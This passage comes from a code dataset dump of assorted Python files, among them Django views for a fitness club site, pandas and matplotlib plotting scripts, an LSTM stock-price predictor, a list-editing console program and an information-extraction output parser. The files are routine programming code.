len(new_graph[node]) > max_degree:\n max_degree = len(new_graph[node])\n max_degree_node = node\n \n neighbors = new_graph[max_degree_node]\n new_graph.pop(max_degree_node)\n for neighbor in neighbors:\n new_graph[neighbor].remove(max_degree_node)\n\n order.append(max_degree_node)\n return order\n\n\ndef main():\n xvals = range(10, 1000, 10)\n yvals_to = []\n yvals_fto = []\n for n in xvals:\n upa_graph = App2.make_upa_graph(INITIAL_NODES, n)\n start_time = time.time()\n to = targeted_order(upa_graph)\n yvals_to.append(time.time() - start_time)\n start_time = time.time()\n fto = fast_targeted_order(upa_graph)\n yvals_fto.append(time.time() - start_time)\n plt.plot(xvals, yvals_to, '-b', label='targeted_order')\n plt.plot(xvals, yvals_fto, '-r', label='fast_targeted_order')\n plt.legend(loc='upper right')\n plt.ylabel('Running Time (sec.)')\n plt.xlabel('Number of Nodes')\n plt.title('Comparison Of Running Times Of\\ntargeted_order vs fast_targeted_order\\n'\n 'Using Desktop Python')\n plt.show()\n import pdb; pdb.set_trace()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"hkpcmit/AlgThink","sub_path":"App2_3.py","file_name":"App2_3.py","file_ext":"py","file_size_in_byte":2583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37248753885","text":"import shortuuid\nfrom django.contrib import messages\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.shortcuts import render\nfrom django.template.loader import render_to_string\n\nfrom .forms import ContactForm, BuyForm\nfrom .models import Client\n\ninner_menu = [{'title':\"Главная\", 'url_name':'main-page'},\n {'title':\"Абонементы\", 'url_name':'abonements'},\n {'title':\"Услуги\", 'url_name':'services'},\n {'title':\"Галерея\", 'url_name':'gallery'},\n {'title':\"Тренеры\", 'url_name':'trainers'},\n {'title':\"Сертификаты\", 'url_name':'sertificates'},\n {'title':\"Контакты\", 'url_name':'contacts'},\n ]\nmenu = [{'title':\"Абонементы\", 'url_name':'abonements'},\n {'title':\"Услуги\", 'url_name':'services'},\n {'title':\"Галерея\", 'url_name':'gallery'},\n {'title':\"Тренеры\", 'url_name':'trainers'},\n {'title':\"Сертификаты\", 'url_name':'sertificates'},\n {'title':\"Контакты\", 'url_name':'contacts'},\n ]\n\nsub_item_1 = [ {'subscription_heading':\" “Начальный” \",\n 'subscription_lead':\"Если вы начинающий спортсмен, рекомендуем начать с самого первого абонемента. Когда вы освоитесь у нас в спортивном комплексе - можно будет сделать обновление. Базовые функции клуба к вашим услугам.\",\n 'sub_item_1':\"Абонемент на 12 месяцев\",'sub_item_2':\"2 консультации тренера фитнес-клуба\",'sub_item_3':\"Личный шкафчик\",\n 'sub_item_4':\"Доступ к солярию бесплатно(1 месяц)\",'sub_item_5':\"Консультация в салоне красоты\",'sub_item_6':\"Консультация у диетолога\",\n 'sub_info_1':\"18 000 \",'sub_info_2':\"12 \",'value':\"Начальный\"},\n ]\n\n\nsub_item_2 =[{'subscription_heading':\" “Любитель” \",\n 'subscription_lead':\"Стандартный вид абонемента, который позволит вам полностью воспользоваться улслугами нашего фитнес-клуба. К вашему распоряжениию работа с тренером, диетологом и косметологом. Получите максимум результата.\",\n 'sub_item_1':\"Абонемент на 12 месяцев\",'sub_item_2':\"4 консультации тренера фитнес-клуба\",'sub_item_3':\"Личный шкафчик\",'sub_item_4':\"Доступ к солярию бесплатно(3 месяца)\",'sub_item_5':\"2 консультации у диетолога\",'sub_item_6':\"3 услуги салона красоты\",'sub_info_1':\"27 000 \",'sub_info_2':\"12 \",'value':\"Любитель\"},\n ]\n\n\nsub_item_3=[{'subscription_heading':\" “Профессионал” \",\n 'subscription_lead':\"Для тех, кто очень серьезно подходит к процессу тренировок. Мы поможем вам достигнуть максимальных результатов в спорте. Для вашего результата мы подключили: личного тренера, диетолога, косметолога. Достигнем результата вместе!\",\n 'subscription_image':\"/static/img/src/professional.jpg\",\n 'sub_item_1':\"Абонемент на 12 месяцев\",'sub_item_2':\"35 консультации тренера фитнес-клуба\",'sub_item_3':\"Личный шкафчик\",'sub_item_4':\"Доступ к солярию бесплатно(12 месяцев)\",'sub_item_5':\"8 консультаций диетолога\",'sub_item_6':\"20 услуг салона красоты\",'sub_info_1':\"90 000 \",'sub_info_2':\"12 \",'value':\"Профессионал\"},]\n\ndef index(request):\n if request.method == 'POST':\n form = ContactForm(request.POST)\n if form.is_valid():\n data={\n 'name':form.cleaned_data['name'],\n 'phone':form.cleaned_data['phone'],\n 'message':form.cleaned_data['message'],\n 'subject':'Обратная связь'\n }\n html_body = render_to_string(\"../templates/main/temp_email.html\", data)\n msg = EmailMultiAlternatives(subject='Обратная связь', to=['solodow.mitya@yandex.by'])\n msg.attach_alternative(html_body,\"text/html\")\n msg.send()\n messages.success(request,'Success! Ваше письмо отправлено!')\n else:\n messages.error(request,\"Error! Ваше письмо не отправлено!\")\n form = ContactForm()\n return render(request, 'main/main-page.html', {'menu': menu,\"form\":form})\n\n\ndef abonements(request):\n if request.method == 'POST':\n buyform = BuyForm(request.POST)\n form = ContactForm(request.POST)\n indicator = 0\n if buyform.is_valid():\n unikID = shortuuid.ShortUUID().random(length=8)\n data = {\n 'name': buyform.cleaned_data['name'],\n 'phone': buyform.cleaned_data['phone'],\n 'email': buyform.cleaned_data['email'],\n 'hidden':buyform.cleaned_data['hidden'],\n 'unikID': unikID\n }\n useremail = buyform.cleaned_data['email']\n html_body = render_to_string(\"../templates/parts/temp_abon.html\", data)\n msg = EmailMultiAlternatives(subject='Информация о вашем абонементе', to=[useremail])\n msg.attach_alternative(html_body, \"text/html\")\n msg.send()\n Client.objects.create(name=buyform.cleaned_data['name'],phone=buyform.cleaned_data['phone'],unikID=unikID,subscription=buyform.cleaned_data['hidden'])\n messages.success(request, 'Success! Ваш заказ принят!')\n\n else:\n if form.is_valid():\n indicator = 0\n else:\n if indicator != 1:\n messages.error(request, \"Error! Ваш заказ не принят!\")\n indicator = 1\n\n if form.is_valid():\n subject = 'Консультация'\n data = {\n 'name': form.cleaned_data['name'],\n 'phone': form.cleaned_data['phone'],\n 'message': form.cleaned_data['message'],\n 'subject':subject\n }\n html_body = render_to_string(\"../templates/main/temp_email.html\", data)\n msg = EmailMultiAlternatives(subject='Консультация', to=['solodow.mitya@yandex.by'])\n msg.attach_alternative(html_body, \"text/html\")\n msg.send()\n messages.success(request, 'Success! Ваше письмо отправлено!')\n else:\n if buyform.is_valid():\n indicator = 1\n else:\n if indicator !=1:\n messages.error(request, \"Error! Ваше письмо не отправлено!\")\n\n form = ContactForm()\n buyform = BuyForm()\n return render(request,'main/abonements.html',{\"form\":form,\"buyform\": buyform,'inner_menu':inner_menu,'menu': menu,'sub_item_1':sub_item_1,'sub_item_2':sub_item_2,'sub_item_3':sub_item_3})\n\ndef services(request):\n return render(request, 'main/services.html',{'inner_menu':inner_menu,'menu': menu})\n\n\ndef trainers(request):\n return render(request, 'main/trainers.html',{'inner_menu':inner_menu,'menu': menu})\n\n\ndef sertificates(request):\n return render(request, 'main/sertificates.html',{'inner_menu':inner_menu,'menu': menu})\n\n\ndef gallery(request):\n return render(request, 'main/gallery.html',{'inner_menu':inner_menu,'menu': menu})\n\n\ndef contacts(request):\n return render(request, 'main/contacts.html',{'inner_menu':inner_menu,'menu': menu})\n\n\ndef forum(request):\n return render(request, 'main/forum.html',{'inner_menu':inner_menu,'menu': menu})","repo_name":"night1447/DjangoProject","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8215,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"5050626790","text":"import pandas as pd\nimport matplotlib.pyplot as plt\n\ndef obesity(excelfile=\"Obes-phys-acti-diet-eng-2014-tab.xls\", nogui = False):\n data = pd.ExcelFile(excelfile)\n print(data.sheet_names)\n\n # Read section 7.1 from the Excel file\n\n # Define the columns to be read\n columns1 = ['year', 'total', 'males', 'females']\n\n data_gender = data.parse('7.1', skiprows=4, skipfooter=14, names=columns1)\n #print data_gender\n\n # Remove the N/A from the data\n data_gender.dropna(inplace = True)\n #print data_gender\n\n data_gender.set_index('year', inplace=True)\n\n # Plot all\n data_gender.plot()\n if not nogui:\n plt.show()\n\n\n # Read 2nd section, by age\n data_age = data.parse('7.2', skiprows=4, skipfooter=14)\n print(data_age)\n\n # Rename unames to year\n data_age.rename(columns={'Unnamed: 0': 'Year'}, inplace=True)\n\n # Drop empties and reset index\n data_age.dropna(inplace=True)\n data_age.set_index('Year', inplace=True)\n\n #plot\n data_age.plot()\n if not nogui:\n plt.show()\n\n # Plotting everything cause total to override everything. So drop it.\n # Drop the total column and plot\n data_age_minus_total = data_age.drop('Total', axis = 1)\n data_age_minus_total.plot()\n if not nogui:\n plt.show()\n plt.close()\n\n #Plot children vs adults\n data_age['Under 16'].plot(label = \"Under 16\")\n data_age['25-34'].plot(label = \"25-34\")\n plt.legend(loc=\"upper right\")\n if not nogui:\n plt.show()\n\n return data_age['Total'][1]\n\n\nif __name__ == \"__main__\":\n obesity()","repo_name":"shantnu/PyEng","sub_path":"Pandas/obesity.py","file_name":"obesity.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","stars":198,"dataset":"github-code","pt":"47"} +{"seq_id":"33568607929","text":"\"\"\"Defines URL patterns for dataVis\"\"\"\n\nfrom django.urls import path\nfrom . import views\n\napp_name = \"dataVis\"\nurlpatterns = [\n # Home page\n path(\"\", views.index, name=\"index\"),\n path(\"single/\", views.single, name=\"single\"),\n path(\"total/\", views.total, name=\"total\"),\n]\n","repo_name":"kitman1230/twc1","sub_path":"dataVis/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"23315395854","text":"# Author: Yongyuth \"First\" Chaunkhuntod (Yothgewalt)\nimport os\nfrom typing import Union\n \nvoid: str = ' '\nheroes: list[str] = ['Ironman', 'Thor', 'Hulk', 'Superman', 'Spiderman']\nmethod_message: str = \"\"\"\nHero Operation - v1.0.0\n \n[1] Display Heroes\n[2] Append hero by Name\n[3] Insert hero with specify index by Name\n[4] Remove hero by Name\n[5] Display Heroes with Sorting\n\"\"\"\n \ndef display_heroes() -> str:\n global heroes\n prefix: str = '\\nHeroes:'\n aggregate_hero: str = ''\n for hero_name in heroes:\n aggregate_hero += (void + hero_name)\n \n return print(prefix + aggregate_hero)\n \ndef append_hero(object_h: Union[str, list[str]]) -> None:\n global heroes\n \n if type(object_h) is list:\n for hero_name in object_h:\n heroes.append(hero_name)\n \n else:\n return heroes.append(object_h)\n \ndef insert_hero(object_i: Union[int, list[int]], object_h: Union[str, list[str]]) -> None:\n global heroes\n \n if type(object_h) is list and type(object_i) is list:\n index_value: int = 0\n for position in object_i:\n for hero_name in object_h:\n heroes.insert(position, hero_name[index_value])\n index_value += 1\n continue\n \n elif type(object_i) is list:\n for position in object_i:\n heroes.insert(position, object_h)\n \n elif type(object_h) is list:\n for hero_name in object_h:\n heroes.insert(object_i, hero_name)\n \n else:\n return heroes.insert(object_i, object_h)\n \n return None\n \ndef remove_hero(object_h: Union[str, list[str]]) -> None:\n global heroes\n \n if type(object_h) is list:\n for hero_name in object_h:\n heroes.remove(hero_name)\n \n else:\n return heroes.remove(object_h)\n \n return None\n \ndef display_sorted_heroes(descending=False) -> str:\n global heroes\n \n aggregate_hero: str = ''\n prefix_ascending: str = '\\nAscending Heroes:'\n prefix_descending: str = '\\nDescending Heroes:'\n \n if descending:\n heroes_descending_sorted = sorted(heroes, reverse=True)\n for hero in heroes_descending_sorted:\n aggregate_hero += (void + hero)\n \n return print(prefix_descending + aggregate_hero)\n else:\n heroes_ascending_sorted = sorted(heroes, reverse=False)\n for hero in heroes_ascending_sorted:\n aggregate_hero += (void + hero)\n \n return print(prefix_ascending + aggregate_hero)\n \ndef main():\n keep_going: str = 'Y'\n \n expect_value_error_message: str = '\\nError: The value cannot be alphabet or special character (integer only)'\n incorrect_range_error_message: str = '\\nError: The method cannot be less than 1 or greater than 5.'\n \n hero_name: str = ''\n hero_name_list: list[str] = []\n \n index: int = 0\n index_list: list[int] = []\n \n while keep_going.__eq__('Y'):\n hero_name_list: list[str] = []\n index_list: list[int] = []\n \n if os.name.__eq__('nt'):\n os.system('cls')\n else:\n os.system('clear')\n \n print(method_message)\n \n method: int = 0\n try:\n method = int(input(\"What do you want to do? [1-5]: \"))\n while method < 1 or method > 5:\n print(incorrect_range_error_message)\n method = int(input(\"What do you want to do? [1-5]: \"))\n \n except ValueError:\n print(expect_value_error_message)\n \n if method.__eq__(0):\n exit()\n \n if method.__eq__(1):\n display_heroes()\n \n elif method.__eq__(2):\n add_again: str = 'Y'\n verify_add_method: str = ''\n want_multiple_add = str(input(\"Do you want to add multiple names? [Y]: \")).upper()\n \n if want_multiple_add.__eq__('Y'):\n while add_again.__eq__('Y'):\n verify_add_method = 'list'\n hero_name = str(input(\"\\nWhat is name that do you want to append []: \"))\n hero_name_list.append(hero_name)\n \n add_again = str(input(\"Do you want to add more hero? [Y]: \")).upper()\n else:\n verify_add_method = 'single'\n hero_name = str(input(\"\\nWhat is name that do you want to append []: \"))\n \n if verify_add_method.__eq__('list'):\n append_hero(hero_name_list)\n \n elif verify_add_method.__eq__('single'):\n append_hero(hero_name)\n \n display_heroes()\n \n elif method.__eq__(3):\n add_index_again: str = 'Y'\n insert_again: str = 'Y'\n verify_insert_method: str = ''\n want_multiple_index = str(input(\"Do you want to insert with multiple indexes? [Y]: \")).upper()\n want_multiple_insert = str(input(\"Do you want to mutiple insert by following index? [Y]: \")).upper()\n \n if want_multiple_index.__eq__('Y') and want_multiple_insert.__eq__('Y'):\n verify_insert_method = 'hybrid-list'\n while add_index_again.__eq__('Y'):\n index = int(input(\"What is number of index that do you want to insert []: \"))\n index_list.append(index)\n \n add_index_again = str(input(\"Do you want to add more index? [Y]: \")).upper()\n \n while insert_again.__eq__('Y'):\n hero_name = str(input(\"\\nWhat is name that do you want to insert []: \"))\n hero_name_list.append(hero_name)\n \n insert_again = str(input(\"Do you want to add more name? [Y]: \")).upper()\n \n elif want_multiple_index.__eq__('Y'):\n verify_insert_method = 'position-list'\n while add_index_again.__eq__('Y'):\n index = int(input(\"What is number of index that do you want to insert []: \"))\n index_list.append(index)\n \n add_index_again = str(input(\"Do you want to add more index? [Y]: \")).upper()\n \n hero_name = str(input(\"\\nWhat is name that do you want to insert []: \"))\n \n elif want_multiple_insert.__eq__('Y'):\n verify_insert_method = 'hero-list'\n index = int(input(\"What is number of index that do you want to insert []: \"))\n \n while insert_again.__eq__('Y'):\n hero_name = str(input(\"\\nWhat is name that do you want to insert []: \"))\n hero_name_list.append(hero_name)\n \n insert_again = str(input(\"Do you want to add more name? [Y]: \")).upper()\n \n else:\n verify_insert_method = 'standard'\n index = int(input(\"What is number of index that do you want to insert []: \"))\n hero_name = str(input(\"\\nWhat is name that do you want to insert []: \"))\n \n if verify_insert_method.__eq__('hybrid-list'):\n insert_hero(index_list, hero_name_list)\n \n elif verify_insert_method.__eq__('position-list'):\n insert_hero(index_list, hero_name)\n \n elif verify_insert_method.__eq__('hero-list'):\n insert_hero(index, hero_name_list)\n \n else:\n insert_hero(index, hero_name)\n \n display_heroes()\n \n elif method.__eq__(4):\n remove_again: str = 'Y'\n verify_remove_method: str = ''\n want_multiple_delete = str(input(\"Do you want to remove multiple names? [Y]: \")).upper()\n \n if want_multiple_delete.__eq__('Y'):\n while remove_again.__eq__('Y'):\n verify_remove_method = 'list'\n hero_name = str(input(\"\\nWhat is name that do you want to remove []: \"))\n hero_name_list.append(hero_name)\n \n remove_again = str(input(\"Do you want to remove again? [Y]: \")).upper()\n \n else:\n verify_remove_method = 'single'\n hero_name = str(input(\"\\nWhat is name that do you want to remove []: \"))\n \n if verify_remove_method.__eq__('list'):\n for hero_name_to_remove in hero_name_list:\n remove_hero(hero_name_to_remove)\n \n elif verify_remove_method.__eq__('single'):\n remove_hero(hero_name)\n \n display_heroes()\n \n elif method.__eq__(5):\n want_descending = str(input(\"Do you want to descending? [Y]: \")).upper()\n \n if want_descending.__eq__('Y'):\n display_sorted_heroes(descending=True)\n \n else:\n display_sorted_heroes()\n \n keep_going = str(input(\"\\nDo you want to do again? [Y]: \")).upper()\n \nif __name__ == '__main__':\n main()","repo_name":"Yothgewalt/computer-programming-lecture-at-university","sub_path":"sixth_week_2/python/exercise/heroes_operation.py","file_name":"heroes_operation.py","file_ext":"py","file_size_in_byte":8795,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"31156775452","text":"import yfinance as yf\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import MinMaxScaler\nfrom tensorflow.keras.models import Sequential, load_model\nfrom tensorflow.keras.layers import (Input, Dense, LSTM, TimeDistributed,\n RepeatVector, Activation)\n\n\ndef create_model(look_back, foward_days):\n NUM_NEURONS_FirstLayer = 128\n NUM_NEURONS_SecondLayer = 64\n # Build the model\n model = Sequential()\n model.add(LSTM(NUM_NEURONS_FirstLayer, input_shape=(\n look_back, 1), return_sequences=True))\n model.add(LSTM(NUM_NEURONS_SecondLayer,\n input_shape=(NUM_NEURONS_FirstLayer, 1)))\n model.add(Dense(foward_days))\n model.compile(loss='mean_squared_error', optimizer='adam')\n return model\n\n\ndef train_model(model, dataX, dataY, epoch_count):\n history = model.fit(dataX, dataY, batch_size=2,\n epochs=epoch_count, shuffle=True)\n\n\ndef prep_data(data, input_size, output_size):\n dX, dY = [], []\n for i in range(len(data) - input_size - output_size):\n dX.append(data[i:i + input_size])\n dY.append(data[i + input_size:i + input_size + output_size])\n return dX, dY\n\n\ndef split_into_train_and_test(data, train_ratio):\n train_size = int(data.shape[0] * train_ratio)\n train_data = data[:train_size]\n test_data = data[train_size:]\n return train_data, test_data\n\n\ndef generate_sin_wave():\n x = np.arange(0, 10000, step=0.1)\n y = np.sin(x)\n return y\n\n\n# The number of timesteps for input\nlook_back = 50\n# The number of timesteps to predict\nlook_foward = 50\n\n\n# Download stock prices from yahoo finance\ndf = yf.Ticker('AAPL').history(interval='1m', period='1wk')\nprices = df['Close'].values\n\n\n# Prepare data\nvals = prices\nscaler = MinMaxScaler(feature_range=(-1, 1))\nvals = vals.reshape(-1, 1)\nvals = scaler.fit_transform(vals)\nx, y = prep_data(vals, look_back, look_foward)\nx = np.array(x)\ny = np.array(y)\n\n\n# Split data into test and train\ntrain_x, test_x = split_into_train_and_test(x, 0.75)\ntrain_y, test_y = split_into_train_and_test(y, 0.75)\n\n\n# Create and train a model\n# model = create_model(look_back, look_foward)\n# train_model(model, train_x, train_y, 1)\n# model.save('tsla.h5')\n\n# Load a trained model.\nmodel = load_model('aapl.h5')\n\n# Make predictions using the model\n# The shape of input should be a 3D array\n# e.g. (1 (the number of batches), 50 (look_back), 1 (padding))\n# The shape of output (prediction) will be a 2D array\n# e.g. (1 (the number of batches), 10 (look_foward))\npredictions = model.predict(test_x)\n\ntrue = np.array([])\npreds = np.array([])\n\n# Plot a line graph with a testing dataset\nfor i in range(0, test_x.shape[0], look_back + look_foward):\n pre = scaler.inverse_transform(test_x[i])\n pre = pre.reshape(look_back)\n true_post = scaler.inverse_transform(test_y[i])\n true_post = true_post.reshape(look_foward)\n pred_post = scaler.inverse_transform(predictions[i].reshape(-1, 1))\n pred_post = pred_post.reshape(look_foward)\n true = np.concatenate((true, pre, true_post), axis=0)\n preds = np.concatenate(\n (preds, [None for i in range(look_back)], pred_post))\nplt.plot(true)\nplt.plot(preds)\nplt.show()\n","repo_name":"kimjihyo/LSTM-Stock-Price-Prediction","sub_path":"lstm.py","file_name":"lstm.py","file_ext":"py","file_size_in_byte":3247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"42105858306","text":"dr = [0, 1]\ndd = [1, 0]\n\n\ndef minimum(r, d, n_sum):\n global mini\n\n n_sum += arr[r][d]\n\n if n_sum > mini:\n return\n\n for i in range(2):\n nr = r + dr[i]\n nd = d + dd[i]\n # 필터\n if nr > N - 1 or nr < 0 or nd > N - 1 or nd < 0:\n continue\n # 마지막 도달\n if nr == N - 1 and nd == N - 1:\n n_sum += arr[nr][nd]\n if n_sum < mini:\n mini = n_sum\n\n return\n\n minimum(nr, nd, n_sum)\n\n\nfor tc in range(1, int(input()) + 1):\n N = int(input())\n arr = [list(map(int, input().split())) for _ in range(N)]\n\n mini = 9999999999\n\n minimum(0, 0, 0)\n\n print('#{} {}'.format(tc, mini))\n","repo_name":"landformdev/TIL","sub_path":"PycharmProject/210415/SWEA_5188_최소합_김지형.py","file_name":"SWEA_5188_최소합_김지형.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25887237757","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\nfrom collections import Counter\nimport logging\nfrom nltk.tree import ParentedTree\nimport re\nfrom typing import Tuple, List, Dict\n\n\nfrom ...extraction.constants import (\n null_span,\n type_start,\n type_end,\n span_start,\n)\nfrom ...extraction.predict_parser.predict_parser import PredictParser\nfrom ...extraction.predict_parser.utils import fix_unk_from_text\n\nlogger = logging.getLogger(__name__)\n\n\nleft_bracket = '【'\nright_bracket = '】'\nbrackets = left_bracket + right_bracket\n\nsplit_bracket = re.compile(r\"\")\n\n\ndef add_space(text):\n \"\"\"\n add space between special token\n \"\"\"\n new_text_list = list()\n for item in zip(split_bracket.findall(text), split_bracket.split(text)[1:]):\n new_text_list += item\n return ' '.join(new_text_list)\n\n\ndef convert_bracket(text):\n text = add_space(text)\n for start in [type_start]:\n text = text.replace(start, left_bracket)\n for end in [type_end]:\n text = text.replace(end, right_bracket)\n return text\n\n\ndef find_bracket_num(tree_str):\n \"\"\"\n Count Bracket Number (num_left - num_right), 0 indicates num_left = num_right\n \"\"\"\n count = 0\n for char in tree_str:\n if char == left_bracket:\n count += 1\n elif char == right_bracket:\n count -= 1\n else:\n pass\n return count\n\n\ndef check_well_form(tree_str):\n return find_bracket_num(tree_str) == 0\n\n\ndef clean_text(tree_str):\n count = 0\n sum_count = 0\n\n tree_str_list = tree_str.split()\n\n for index, char in enumerate(tree_str_list):\n if char == left_bracket:\n count += 1\n sum_count += 1\n elif char == right_bracket:\n count -= 1\n sum_count += 1\n else:\n pass\n if count == 0 and sum_count > 0:\n return ' '.join(tree_str_list[:index + 1])\n return ' '.join(tree_str_list)\n\n\ndef resplit_label_span(label, span, split_symbol=span_start):\n label_span = label + ' ' + span\n\n if split_symbol in label_span:\n splited_label_span = label_span.split(split_symbol)\n if len(splited_label_span) == 2:\n return splited_label_span[0].strip(), splited_label_span[1].strip()\n\n return label, span\n\n\ndef add_bracket(tree_str):\n \"\"\"add right bracket to fix ill-formed expression\n \"\"\"\n tree_str_list = tree_str.split()\n bracket_num = find_bracket_num(tree_str_list)\n tree_str_list += [right_bracket] * bracket_num\n return ' '.join(tree_str_list)\n\n\ndef get_tree_str(tree):\n \"\"\"get str from sel tree\n \"\"\"\n str_list = list()\n for element in tree:\n if isinstance(element, str):\n str_list += [element]\n return ' '.join(str_list)\n\n\ndef rewrite_label_span(label, span, label_set=None, text=None):\n\n # Invalid Type\n if label_set and label not in label_set:\n logger.debug('Invalid Label: %s' % label)\n return None, None\n\n # Fix unk using Text\n if text is not None and '' in span:\n span = fix_unk_from_text(span, text, '')\n\n # Invalid Text Span\n if text is not None and span not in text:\n logger.debug('Invalid Text Span: %s\\n%s\\n' % (span, text))\n return None, None\n\n return label, span\n\n\nclass SpotAsocPredictParser(PredictParser):\n\n def decode(self, gold_list, pred_list, text_list=None, raw_list=None\n ) -> Tuple[List[Dict], Counter]:\n \"\"\"\n\n :param gold_list:\n :param pred_list:\n :param text_list:\n :param raw_list:\n :return:\n dict:\n pred_spot -> [(type1, text1), (type2, text2), ...]\n gold_spot -> [(type1, text1), (type2, text2), ...]\n pred_asoc -> [(spot type1, asoc type1, text1), (spot type2, asoc type2, text2), ...]\n gold_asoc -> [(spot type1, asoc type1, text1), (spot type2, asoc type2, text2), ...]\n pred_record -> [{'type': type1, 'text': text1, 'roles': [(spot type1, asoc type1, text1), ...]},\n {'type': type2, 'text': text2, 'roles': [(spot type2, asoc type2, text2), ...]},\n ]\n gold_record -> [{'type': type1, 'text': text1, 'roles': [(spot type1, asoc type1, text1), ...]},\n {'type': type2, 'text': text2, 'roles': [(spot type2, asoc type2, text2), ...]},\n ]\n Counter:\n \"\"\"\n counter = Counter()\n well_formed_list = []\n\n if gold_list is None or len(gold_list) == 0:\n gold_list = [\"%s%s\" % (type_start, type_end)] * len(pred_list)\n\n if text_list is None:\n text_list = [None] * len(pred_list)\n\n if raw_list is None:\n raw_list = [None] * len(pred_list)\n\n for gold, pred, text, raw_data in zip(gold_list, pred_list, text_list,\n raw_list):\n gold = convert_bracket(gold)\n pred = convert_bracket(pred)\n\n pred = clean_text(pred)\n\n try:\n gold_tree = ParentedTree.fromstring(gold, brackets=brackets)\n except ValueError:\n logger.warning(f\"Ill gold: {gold}\")\n logger.warning(f\"Fix gold: {add_bracket(gold)}\")\n gold_tree = ParentedTree.fromstring(\n add_bracket(gold), brackets=brackets)\n counter.update(['gold_tree add_bracket'])\n\n instance = {\n 'gold': gold,\n 'pred': pred,\n 'gold_tree': gold_tree,\n 'text': text,\n 'raw_data': raw_data\n }\n\n counter.update(['gold_tree' for _ in gold_tree])\n\n instance['gold_spot'], instance['gold_asoc'], instance['gold_record'] = self.get_record_list(\n sel_tree=instance[\"gold_tree\"],\n text=instance['text']\n )\n\n try:\n if not check_well_form(pred):\n pred = add_bracket(pred)\n counter.update(['fixed'])\n\n pred_tree = ParentedTree.fromstring(pred, brackets=brackets)\n counter.update(['pred_tree' for _ in pred_tree])\n\n instance['pred_tree'] = pred_tree\n counter.update(['well-formed'])\n\n except ValueError:\n counter.update(['ill-formed'])\n logger.debug('ill-formed', pred)\n instance['pred_tree'] = ParentedTree.fromstring(\n left_bracket + right_bracket,\n brackets=brackets\n )\n\n instance['pred_spot'], instance['pred_asoc'], instance['pred_record'] = self.get_record_list(\n sel_tree=instance[\"pred_tree\"],\n text=instance['text']\n )\n\n well_formed_list += [instance]\n\n return well_formed_list, counter\n\n def get_record_list(self, sel_tree, text=None):\n \"\"\" Convert single sel expression to extraction records\n Args:\n sel_tree (Tree): sel tree\n text (str, optional): _description_. Defaults to None.\n Returns:\n spot_list: list of (spot_type: str, spot_span: str)\n asoc_list: list of (spot_type: str, asoc_label: str, asoc_text: str)\n record_list: list of {'asocs': list(), 'type': spot_type, 'spot': spot_text}\n \"\"\"\n\n spot_list = list()\n asoc_list = list()\n record_list = list()\n\n for spot_tree in sel_tree:\n\n # Drop incomplete tree\n if isinstance(spot_tree, str) or len(spot_tree) == 0:\n continue\n\n spot_type = spot_tree.label()\n spot_text = get_tree_str(spot_tree)\n spot_type, spot_text = resplit_label_span(\n spot_type, spot_text)\n spot_type, spot_text = rewrite_label_span(\n label=spot_type,\n span=spot_text,\n label_set=self.spot_set,\n text=text\n )\n\n # Drop empty generated span\n if spot_text is None or spot_text == null_span:\n continue\n # Drop empty generated type\n if spot_type is None:\n continue\n # Drop invalid spot type\n if self.spot_set is not None and spot_type not in self.spot_set:\n continue\n\n record = {'asocs': list(),\n 'type': spot_type,\n 'spot': spot_text}\n\n for asoc_tree in spot_tree:\n if isinstance(asoc_tree, str) or len(asoc_tree) < 1:\n continue\n\n asoc_label = asoc_tree.label()\n asoc_text = get_tree_str(asoc_tree)\n asoc_label, asoc_text = resplit_label_span(\n asoc_label, asoc_text)\n asoc_label, asoc_text = rewrite_label_span(\n label=asoc_label,\n span=asoc_text,\n label_set=self.role_set,\n text=text\n )\n\n # Drop empty generated span\n if asoc_text is None or asoc_text == null_span:\n continue\n # Drop empty generated type\n if asoc_label is None:\n continue\n # Drop invalid asoc type\n if self.role_set is not None and asoc_label not in self.role_set:\n continue\n\n asoc_list += [(spot_type, asoc_label, asoc_text)]\n record['asocs'] += [(asoc_label, asoc_text)]\n\n spot_list += [(spot_type, spot_text)]\n record_list += [record]\n\n return spot_list, asoc_list, record_list\n","repo_name":"zjunlp/DeepKE","sub_path":"src/deepke/name_entity_re/cross/extraction/predict_parser/spotasoc_predict_parser.py","file_name":"spotasoc_predict_parser.py","file_ext":"py","file_size_in_byte":9819,"program_lang":"python","lang":"en","doc_type":"code","stars":2490,"dataset":"github-code","pt":"47"} +{"seq_id":"40433313226","text":"import typing\n\nimport qbittorrentapi\n\nTorrent = qbittorrentapi.TorrentDictionary\n\nclass ChangeMap:\n def __init__(self, changes: typing.Dict[typing.Any, typing.Any]) -> None:\n self._changes: typing.Dict[typing.Any, typing.Any] = changes\n\n def __getattr__(self, __name: str) -> typing.Any:\n return self._changes.get(__name)\n\n @staticmethod\n def diff_torrents(torrent: typing.Optional[Torrent] = None, other_torrent: typing.Optional[Torrent] = None) -> \"ChangeMap\":\n changes: typing.Any = []\n\n if not torrent and other_torrent:\n changes = other_torrent.items()\n elif torrent and not other_torrent:\n changes = torrent.items()\n elif torrent and other_torrent:\n changes = torrent.items() ^ other_torrent.items()\n\n return ChangeMap({k: v for k, v in changes})\n\n\n__all__ = (\"ChangeMap\",)\n","repo_name":"strNophix/qbit-ci","sub_path":"qbit_ci/change_map.py","file_name":"change_map.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"7951767663","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Apr 15 17:48:52 2016\r\n\r\n@author: 